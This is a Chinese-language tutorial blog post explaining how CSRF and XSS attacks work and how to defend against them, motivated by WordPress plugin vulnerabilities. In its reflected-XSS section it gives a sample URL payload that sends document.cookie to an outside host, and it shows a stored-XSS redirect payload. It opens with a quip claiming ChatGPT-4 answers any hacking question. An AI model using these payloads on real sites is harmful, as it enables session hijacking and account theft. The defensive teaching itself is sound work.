發現一件很有趣的事，如果跟ChatGPT詢問跟駭客攻擊相關的手法他不會鳥你XD，據說ChatGPT4不管問任何問題都會回答，如果要當駭客，第一步就是先去買ChatGPT4。

資安的重要性

回到正題，大家知道台灣人民的戶政資料已經在暗網流串一陣子了嗎，最新的一筆而且還有2019的，雖然只有地址跟市話的資料(竟然沒有手機XD)，可以知道它其實很早就陸續流出了，要買的話只要2500美元，個資真便宜…總之我們要做好資安防護，才能盡量避免個資外洩等情況發生。

WordPress外掛插件有資安漏洞

說到資安漏洞來講講本次要探討之主題的實際案例，WordPress是一個模組化的網頁開發工具，透過他可以簡單的就做出一個網站，甚至不用coding，全世界中排名前1000萬的網站中超過30.6%使用WordPress，這麼多用戶的網站竟然也會有資安漏洞，究竟是為什麼呢，讓我們繼續看下去…

其實最主要的原因還是外掛插件有開放給使用者自己開發並可以上傳給大家用，而WordPress主要都是用比較老舊的語言PHP所撰寫，PHP若要做資安保戶會相對麻煩一點，以上是我的猜測哈哈。 資安廠商 Patchstack 在2021年發現統計了WordPress 外掛程式漏洞，發現這些漏洞容易受到的攻擊第一名為XSS(跨站腳本攻擊)，第二名是各種攻擊類型的組合，第三名CSRF(跨站請求偽造)，在所有的WordPress網站中，有42%都安裝了至少1個含有安全漏洞的元件。有鑑於此，本篇文章就來探討XSS與CSRF的危害，以及該如何去預防它吧~

  • 從下圖中可以看到CSRF有11.18%、XSS有49.82%。

Http is stateless

  • Http is stateless(無狀態): 意指每次透過瀏覽器進行的請求都是獨立的，伺服器不會保留任何客户端的狀態信息。

要認識CSRF與XSS，我們要先來理解這些攻擊的背後原理。 我們的瀏覽器送出http://… 其實就是跟遠方的網頁伺服器發出請求，但這些請求其實都是獨立的，因為這個stateless的特性，遠端伺服器不會記得我們的送出請求的人是否曾經登入過的狀態訊息。舉個例子來說，我登入了GOOGLE帳號後，如果要開啟youtube又要重新輸入帳號密碼一次、開啟Gmail又要重新輸入帳號密碼一次，那是不是很違背使用者體驗呢。那該怎麼做才能克服Http is stateless的特性讓伺服器端記得住我們客戶端呢?

Cookie或JWT解決Http is stateless 身分驗證的問題

以下是我們常用的解決Http is stateless常用的手段，透過Cookie-based and JWT 等身分認證，之後登入後就不用再重複輸入帳號密碼啦。

  1. Cookie-based -> 瀏覽器的Cookie裡。
  2. JWT (Jason Web Token) -> 一般都存在瀏覽器的SessionStorage與LocalStorage裡，但也可以存在Cookie裡。

Cookie：Cookie 主要用於在客戶端和服務器之間傳遞會話信息和狀態。 LocalStorage：允許在瀏覽器中長期保存數據，即使用瀏覽器關閉後再次打開也會保留數據。 SessionStorage：用關閉瀏覽器窗口或標籤頁時，SessionStorage中的數據將被刪除。

  • 到google chrome按下F12，點到Application就能看見瀏覽器各種類型的儲存資訊。

甚麼是Cookie?

本篇會著重在Cookie-based上，不會探討JWT，因為CSRF就是針對瀏覽器中的Cookie進行攻擊的，Cookie可以被用來記錄使用者資訊，每次的請求(Http Request)中，cookie有個特性會自動將相同Domain的Cookie夾帶在請求中送出，可以把Cookie想成會員卡，當你登入帳號後會在Server端創建會員名冊，Client端拿到會員卡，之後Client端請求Server都會比對會員卡是否跟會員名冊的編號一樣。以下簡單介紹Cookie傳輸的流程。

  1. 使用者透過瀏覽器送出了一筆請求給https://test.com。
  2. 伺服器收到了訊息，並回應給瀏覽器，同時夾帶了 cookie id=123。
  3. 瀏覽器收到的回應，並將cookie id=123 儲存在瀏覽器中。
  4. 使用者送出了另一筆請求給https://test.com。這時因為瀏覽器中有儲存https://test.com 的 cookie id=123，因此瀏覽器會自動將該 cookie 帶過去。
  5. 伺服器收到訊息，發現請求中有包含 cookie id=123，瀏覽器就可以知道這次的請求跟之前是同一個人。

    Cookie特性：正常請求下，每當進行HTTP請求，Cookie就會自動被夾帶在Header一起被遞交給伺服器。

Cookie被偷走

攻擊者可以使用被盗的 cookie 來冒充您的身份，進入您的帳戶並執行相應的操作，例如發佈文章、更改密碼、購物等。這將導致您的個人資訊和數據受到損害，以及可能的財務損失，某些 cookie 可能包含敏感信息，例如身份識別、帳戶資訊、偏好設置等。攻擊者獲取這些敏感信息後，可以用於進一步的攻擊，或者被販賣給其他人。

  1. 身份冒充（Identity Theft）
  2. 資訊洩漏（Information Leakage）

小節總結

由於Http stateless特性我們需要透過Cookie或JWT來讓伺服器記住我們登入過，透過該方法我們只需要再首次登入時輸入帳號密碼，之後每次進行操作就不用輸入帳號密碼來進行身分認證了，直至Cookie失效。所以Cookie跟JWT被偷走就完蛋啦，有心人士會透過CSRF、XSS等攻擊來取得伺服器驗證身分的Cookie來進行攻擊。

CSRF (跨站請求偽造)

CSRF 的特性在於攻擊者跨 Domain 向網站提出請求，而網站無條件信任 Cookie 而沒有再確認或以其他方式驗證，只知道這個 Request 帶著某個使用者的 Cookie，便接受了這個 Request ，卻不會去確認這個 Request 是不是由使用者自願發出的，讓我們來看看下面的定義~

CSRF定義：利用網站對於用戶的請求並沒有適當驗證的問題，使攻擊者可以偽造用戶的請求，讓受害者在未經授權的情況下執行某些操作。

在CSRF攻擊中，攻擊者常見的手法是誘導受害者訪問危險網站B，並在B中包含一個指向受信任網站A的請求，以利用受信任網站的身份執行操作。當受害者在瀏覽器中保持已登入狀態，並在不知情的情況下訪問危險網站B時，瀏覽器會自動附上受信任網站A的Cookie，使得攻擊者能夠透過該Cookie發起對受信任網站的請求。

可以將上面CSRF的敘述簡單化出下面這張循序圖，循序圖一般都是PM(專案經理)跟工程師溝通的橋樑，很好理解程式流週期的圖。

但其實還是太複雜了，我們來看下面比較可愛好懂得圖，他可以統整為以下四點。

  1. User 訪問並登入 A 網站
  2. User 獲得 Cookie 並存至 User 瀏覽器
  3. User 在未登出 A 網站的情況下瀏覽 B 網站，
  4. 接著 Hacker 以 B 網站的 Domain 以 A 網站給 User 的 Cookie 對 A 網站發送不適出於User自身意願的請求

白話文來說形容CSRF的話

想像你到一家餐廳吃飯，陌生人拿了一張有你桌號的菜單點餐之後給老闆，結果老闆問也不問便收了菜單並將帳記到了你的身上，這就是 CSRF 的基礎概念。這個舉例出自於延伸閱讀：零基礎資安系列（一）-認識 CSRF（Cross Site Request Forgery）

CSRF攻擊的兩大條件

我們可以總結要滿足以下兩點才會構成CSRF攻擊。

  1. 登入受信任網站A，並在本地生成Cookie。
  2. 在不登出受信任網站A的情況下，訪問惡意網站B。

CSRF防禦方法

認識了CSRF攻擊後，我們來探討防禦CSRF的方法。 使用者端 1. 記得登出 按下登出就是主動跟伺服器說我要消除目前cookie，這樣就算cookie被偷走，也不怕。 伺服器端 1. 記得限制外部網域 伺服器端的開發人員可以在程式碼中限制只接收哪些網域的request。 2. 對 Cookie 設定 SameSite 的屬性 該屬性代表網站是否可以接受外部網域進行Cookie操作，總共有三種模式分別為Strict、Lax、None，Strict就是嚴格限制，Lax就是部分功能限制，None就是都不限制。 3. 每次操作都產出唯一性Token 被冒用Cookie也不怕，因為伺服器會產出唯一性的Token，Token就是紅框內經過加密的亂碼，若設定Token，伺服器會規定之後的每個請求的附加表頭欄位中一定要帶有唯一性的Token，之後伺服器再認證該請求，駭客就算做了一個假冒的網站出來騙你點選他，送出不是出於自身意願的請求，但駭客也做不出來唯一性的Token，因為Token只產出給伺服器自身所產出的網站。個人是寫GO並使用這個套件https://github.com/gorilla/csrf，該套件已經把一切都封裝好了，很多東西都不用自己寫看看文件跟者使用就好，詳細怎麼用我這邊就不介紹了哈哈XD 4. 進行敏感操作的時候使用兩階段驗證 雖然很麻煩，但是很有用，像是麥當勞APP要進行儲值時都會做一個簡訊的二階段認證，確保操作的是本人。

CSRF總結

  1. 認識了身分認證方式 – Cookie

  2. 了解Cookie洩漏的危害

  3. 認識了CSRF

  4. 對預防CSRF有概念

XSS (跨站腳本攻擊)

定義：攻擊者在受信任網站上注入並執行惡意腳本代碼，而在攻擊成功後，駭客可能得到較高的權限或是竊取用戶的cookie、假冒使用者。

甚麼是XSS?

最嚴重的狀況就是cookie被偷走身分被冒用，以下列出XSS最嚴重之情形之步驟，但XSS攻擊其實是非常全面的，你想的javascript能做的他都做得到，像是改網站版面阿，常常會看到政府網站被駭客，駭客在上面寫說已占領XXX，又或者是一進入網站後就會進行跳轉，跳轉到其他網站。

  1. User 瀏覽已注入惡意程式碼的網站
  2. User 被惡意程式碼取得Cookie並傳回駭客端
  3. 駭客取得Cookie入侵帳戶

讓我們用更白話的方式來理解甚麼是XSS

想像你到一家餐廳吃飯，陌生人在所有菜單備註寫上無敵大辣，接著你沒有發現便直接把菜單送給老闆，然後老闆就送來了一份加了無敵大辣的餐點，這就是 XSS 的基礎概念。

XSS攻擊主要兩種類型

在這邊來幫大家介紹最常見的兩種類型XSS攻擊法，原來XSS有這麼多不同的類型~~ 延伸閱讀：Code Injection Attack – Cross-Site Scripting Attack

  1. Reflected XSS反射型 駭客將惡意程式碼注入到網頁後，透過社交工程等方式散布這些惡意網頁的轉址連結。 可以將它總結為三個步驟：
    1. Hacker 在受害網站注入 XSS 漏洞
    2. 透過社交工程手法傳送惡意 URL 給 User
    3. 當 User 點擊 URL 便會把自己的資料（cookie）藉由受害網站傳回給 Hacker

  • 這邊我們來舉一個若點了釣魚連結且使用者沒有登出被偷取cookie的例子，實務上我們會看到有一個網址後面有個問號他可以帶任何字串，這個叫query string http://localhost/lidemy/Session/index.php?name=andy，我把它寫成會變成會在網頁說你好! andy如下圖所示。

  • 那如果把它改成http://localhost/lidemy/Session/index.php?name=document.location.href=‘http://google.com/cookie'+document.cookie，我就可以叫出他的當下點下這個釣魚連結使用者的cookie(若他沒有按登入)並寄送到駭客的伺服器中。

  1. 儲存型XSS 將惡意的程式代碼保存在伺服器的資料庫當中，當使用者在網站上瀏覽特定頁面時恐觸發該程式代碼。 像是留言板的某則留言被注入惡意腳本後，每次只要使用者有權限看的到該留言，就會觸發惡意腳。
  • 這邊我們來舉一個網站被注入惡意腳本導致讓所有瀏覽瀏覽留言板使用者被導向惡意網站的例子，務上我們可以在留言板上直接輸入以下字串如下圖，location.href=“https://google.com.tw”;，他的意思是我要導向google.com，之後每個使用者瀏覽這個留言板就會看到這個留言，之後會被導向惡意網站如下圖所示。

XSS防禦方法

使用者端 1.避免點擊來路不明的網址。 畢竟Reflected XSS反射型的攻擊是透過釣魚信件來騙取你點擊。只要不點擊就能避免其中的一種攻擊啦~ 伺服器端 1. 永遠不要相信使用者所輸入的東西 包括網址、表格欄位等..，並對輸入的東西進行處理(編碼成為純字符串來處理、資料型態判別、過濾特殊字元、限制輸入長度等…) 2. 對 Cookie 設定 HttpOnly 的屬性 當 Cookie 中包含了設定 HttpOnly 的值之後，會保護 Cookie 不被不受信任的 JavaScript 存取，他簡稱XSS殺手 3. 設定內容安全策略（CSP）的標頭，明確定義允許瀏覽器在該頁面上加載的內容來源。 設定內容安全策略（CSP）的標頭，明確定義允許瀏覽器在該頁面上加載的內容來源，涵蓋的類型包括 JavaScriptCSS、HTML框架、字體、圖片和可嵌入對象，例如 Java applet、ActiveX等，下圖這是預設全部阻擋的寫法(最安全)。 4. 進行敏感操作的時候需要兩階段驗證 很麻煩，但是很有用XD

XSS總結

  1. 認識了XSS是甚麼

  2. 認識了XSS的兩種攻擊類型

  3. 對預防XSS有概念

總結

CSRF跟XSS很常被忽視，但是一旦發生卻非常致命，身為一名軟體工程師，隨身攜帶CSRF與XSS的知識也是很合理的！